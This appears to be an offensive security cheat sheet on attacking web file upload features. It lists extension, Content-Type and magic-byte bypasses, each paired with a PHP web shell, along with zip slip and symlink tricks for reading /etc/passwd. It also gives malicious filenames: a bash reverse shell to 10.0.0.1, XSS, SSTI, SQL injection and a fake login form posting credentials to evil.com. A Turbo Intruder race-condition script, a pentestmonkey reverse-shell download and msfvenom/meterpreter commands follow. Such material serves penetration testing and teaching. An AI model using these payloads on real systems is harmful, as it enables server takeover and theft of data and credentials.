File Upload Attack

Last modified: 2023-09-19

Web

It is often used for gaining access to the target shell using Reverse Shell, or getting sensitive information using Remote Code Execution (RCE).

Check Allowed File Formats

First off, we need to know what file types are allowed to be uploaded in target website.
Try to upload any formats.

.exe
.php, .php3, .php4, .php5, .phtml, .phar
.jpg, jpeg, .png, .gif
.bmp
.pdf
.js
.py
.go
.rs

Create Blank Files for Each Format

To create a blank file for the checking purpose, execute the following command.

  • jpg, png
# https://superuser.com/questions/294943/is-there-a-utility-to-create-blank-images
convert -size 32x32 xc:white test.jpg
convert -size 32x32 xc:white test.png
  • pdf
# https://unix.stackexchange.com/questions/277892/how-do-i-create-a-blank-pdf-from-the-command-line
convert xc:none -page Letter a.pdf



Bypass File Extension Validation

We might be able to bypass file extension validation by modifying the filename.
For example, if we cannot upload a pure .php file extension, tweak the filename a bit as below.

exploit.php
exploit.php3
exploit.php4
exploit.php5
exploit.phtml
exploit.phar

exploit.jpg.php
exploit.jpeg.php
exploit.png.php
exploit.gif.php
exploit.pdf.php

exploit.php.
exploit.php.jpg
exploit.php.jpeg
exploit.php.png
exploit%2Ephp
exploit.p.phphp
exploit.php%00.jpg
exploit.php%0d%0a.jpg

exploit.PHP
exploit.pHp

exploit.php/
exploit.php//
exploit.php\
exploit.php#
exploit..php



Bypass Content-Type Validation

We might be able to bypass the content type validation by modifying that.
For example, assume that we want to upload PHP file to execute webshell or reverse shell, but PHP files are rejected by the website.
In this situation, we might be able to bypass the validation by modifying the "Content-Type" from "application/x-php" to other types such as "image/jpeg", "plain/text" etc.
Here is the example.

------abcdefghijk
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: image/jpeg <!-- Change this. Try other types such as image/gif, plain/text, etc. -->

<?php echo system($_GET['cmd']); ?>

------abcdefghijk



Change Upload Location by Filename

We might be able to upload our file to unintended location by path traversing with filename e.g. ../example.php or ..%2Fexample.php.

------abcdefghijk
Content-Disposition: form-data; name="avatar"; filename="..%2fexploit.php" <!-- Change this. -->
Content-Type: application/x-php

<?php echo system($_GET['cmd']); ?>

------abcdefghijk



Overwrite Server Configuration

We might be able to overwrite the web server configuration file such as ".htaccess", ".htpasswd" by specifying the filename to the name of the config file and write desired contents of that.

------abcdefghijk
Content-Disposition: form-data; name="avatar"; filename=".htaccess" <!-- Specify the name of config file -->
Content-Type: text/plain

AddType application/x-httpd-php .abc

------abcdefghijk



Magic Bytes

Reference: Wikipedia

If the website checks the magic byte of the uploaded file for allowing only image files to be uploaded, we might be able to bypass this validation by adding magic bytes before the actual payload.

The exif_imagetype() PHP function is likely to be used for such validation.
In addition, we may need to change other values such as "Content-Type" depending on the situation.

PNG

Hex signature: 89 50 4E 47 0D 0A 1A 0A
ISO 8859-1: ‰PNG␍␊␚␊

Payload example:

‰PNG␍␊␚␊
<?php echo system($_GET['cmd']); ?>

JPG/JPEG

  • Option 1

    Hex signature: FF D8 FF EE
    ISO 8859-1: ÿØÿî

    Payload example:

    ÿØÿî
    <?php echo system($_GET['cmd']); ?>
    
  • Option 2

    Hex signature: FF D8 FF E0 00 10 4A 46 49 46 00 01
    ISO 8859-1: ÿØÿà␀␐JFIF␀␁

    Payload example:

    ÿØÿà␀␐JFIF␀␁
    <?php echo system($_GET['cmd']); ?>
    

JPG

Hex signature: FF D8 FF E0
ISO 8859-1: ÿØÿà

Payload example:

ÿØÿà
<?php echo system($_GET['cmd']); ?>

PDF

Hex signature: 25 50 44 46 2D
ISO 8859-1: %PDF-

Payload example:

%PDF-
<?php echo system($_GET['cmd']); ?>

GIF

Reference: Web Design in a Nutshell

  • Option 1

    GIF87a is the original format for indexed color images. It uses LZW compression and has the option of being interlaced.

    Hex signature: 47 49 46 38 37 61
    ISO 8859-1: GIF87a

    Payload example:

    GIF87a
    <?php echo system($_GET['cmd']); ?>
    
  • Option 2

    GIF89a is the same, but also includes transparancy and animation capabilities.

    Hex signature: 47 49 46 38 39 61
    ISO 8859-1: GIF89a

    Payload example:

    GIF89a
    <?php echo system($_GET['cmd']); ?>
    

RIFF WAVE

Hex signature: 52 49 46 46 ?? ?? ?? ?? 57 41 56 45
ISO 8859-1: RIFF????WAVE

Payload example:

RIFF????WAVE
<?php echo system($_GET['cmd']); ?>



Zip

If target website restricts uploads to zip files only, the website (server) may unzip uploaded files internally and displays the result of decompressed file somewhere e.g. /upload/example.txt.

Zip Slip

Create a file containing ‘../’ in the filename, and compress this file.

echo '<?php echo system("id");?>' > '../test.php'
zip test.zip '../test.php'

After uploading the zip file, target website (server) will decompress this file and may store the test.php file into unexpected directory.

In local machine, create a symbolic link for a sensitive file. Then compress the symlink with zip.

ln -s /etc/passwd passwd.txt
zip --symlink test.zip passwd.txt

When we upload the zip file to target website, the website decompress the zip file and may display the file of the symbolic link (/etc/passwd, etc.). In short, we may be able to see the contents of the sensitive file.



Bypass Client/Server Side Filter

If the website uses a filter for validation, we might be able to bypass it by disabling the filter.
We can easily do that with Burp Suite Intercept.

OPTION 1: Disable Client-Side (JavaScript) Filter

  1. In Burp Suite, go to Proxy tab and click Options.
  2. Navigate to "Intercept Client Requests" section, then click on the top line ("File extension"...) then click Edit.
  3. The popup will open.
  4. In the popup, find and remove "|^js$" in "Match condition", then save the filter.

OPTION 2: Disable Server-Side Filter

  1. In Burp Suite, go to Proxy tab and click Options.
  2. Navigate to "Intercept Server Requests" section and check "Intercept responses based on...".

Drop Filter

After setting up as above, we might be able to bypass filter by intercepting requests and drop the filter as the following actions.

  1. Turn the intercept on.
  2. On browser, press Ctrl+F5 (hard refresh) to reload the page.
  3. If you found the filtering file (.js), drop it.



Malicious Filnames

Command Injection

# If the response comes after 10 seconds, the command injection is successful.
test.jpg;sleep 10
test.jpg;sleep+10
test.jpg;sleep 10#
test.jpg;sleep 10%00
test.jpg|sleep 10
test.jpg%0Asleep 10
;sleep 10 test.jpg

# Reverse Shell
test.jpg;bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

PHP Injection

<?php echo system('id');?>.jpg
"><?php echo system('id');?>.jpg

XSS

<script>alert(1)</script>.jpg
"><script>alert(1)</script>.jpg

SSTI

{{2*3}}.jpg
{2*3}.jpg
2*3.jpg
2*3}}.jpg
2*3}.jpg
${2*3}.jpg
"{{2*3}}.jpg

Truncation

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxtest.jpg
test.jpgxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

HTML Injection

Try to upload the file which includes HTML tags in the filename. It may affect the web page.

<h1>test.jpg

<!-- `&sol;`: HTML entiry for '/' -->
"><iframe src="http:&sol;&sol;10.0.0.1">.jpg

"><img src=x onerror=alert(document.domain).jpg

"><form action="//evil.com" method="GET"><input type="text" name="username" style="opacity:0;"><input type="password" name="password" style="opacity:0;"><input type="submit" name="submit" value="submit"><!--.jpg

SQL Injection

Try to upload the file which includes SQL command in the filename. It may execute SQL Injection when uploading or other situations.

--sleep(10).jpg



Race Condition Attack

We might be able to bypass/execute payload using race condition.
We can easily achieve that with Turbo Intruder in Burp Suite.

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                        concurrentConnections=10,)

    request_post = '''POST /avatar/upload HTTP/1.1
Host: vulnerable.com
...
...
Connection: close

------abcdefghi
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: application/x-php

<?php echo file_get_contents('/etc/passwd');  ?>

------abcdefghijk--

'''

    request_get = '''GET /files/avatars/exploit.php HTTP/1.1
Host: vulnerable.com
...
...
Connection: close


'''

    engine.queue(request_post, gate='race1')
    for i in range(5):
        engine.queue(request_get, gate='race1')


    engine.openGate('race1')
    engine.complete(timeout=60)
    


def handleResponse(req, interesting):
    table.add(req)



PHP Payloads

After finding vulnerability, we can create a payload for exploiting the website.
Here is the example payloads of web shell and reverse shell to compromise target system.


Web Shell

For example, the file name is "exploit.php".

// Simply showing the result of 'whoami'.
<?php echo system('whoami'); ?>

// This shows the content of "/etc/passwd".
<?php echo file_get_contents('/etc/passwd');  ?>

// We can execute arbitrary commands by passing the url parameter e.g. "/exploit.php?cmd=whoami"
<?php echo system($_GET['cmd']); ?>

Reverse Shell for Linux

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O shell.php
# or
cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php

# Edit some variables in the payload
$ip = '<attacker-ip>'
$port = 4444

Or we might be able to use the following simple script.

<?php shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'"); ?>

Then open listener for getting a shell.

nc -lvnp 4444

After uploading it, reload the page in which the payload uploaded e.g. "/upload/shell.php".


Reverse Shell for Windows

First create a malicious executable file using msfvenom.
Replace 10.0.0.1 with your local ip.

# -f: Format
# -p: Payload
# -o: Output file
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o cv-username.exe

Next start a listener for getting the target shell.

# -x: Execute command
sudo msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 10.0.0.1; set LPORT 4444; exploit"

After getting the shell, we will get in the meterpreter, so we need to know the meterpreter’s commands. To get a list of command, run the following in the meterpreter.

# Usage command
meterpreter> ?



Other Tips


Craft Upload Request

If website does not display the upload page but such functionality exists on the website, we can manually create the uploading request.
First off, we need to set multipart/form-data; boundary=<arbitrary_characters> to Content-Type in HTTP headers as below.
Of course we need to specify the POST method at the top of the header.

Content-Type: multipart/form-data; boundary=abcdef

Then we can surround POST body (to upload file) with this boundary as the following.

--abcdef
Content-Disposition: form-data; name="profile"; filename="test.png"
Content-Type: image/jpeg

some code here...
--abcdef--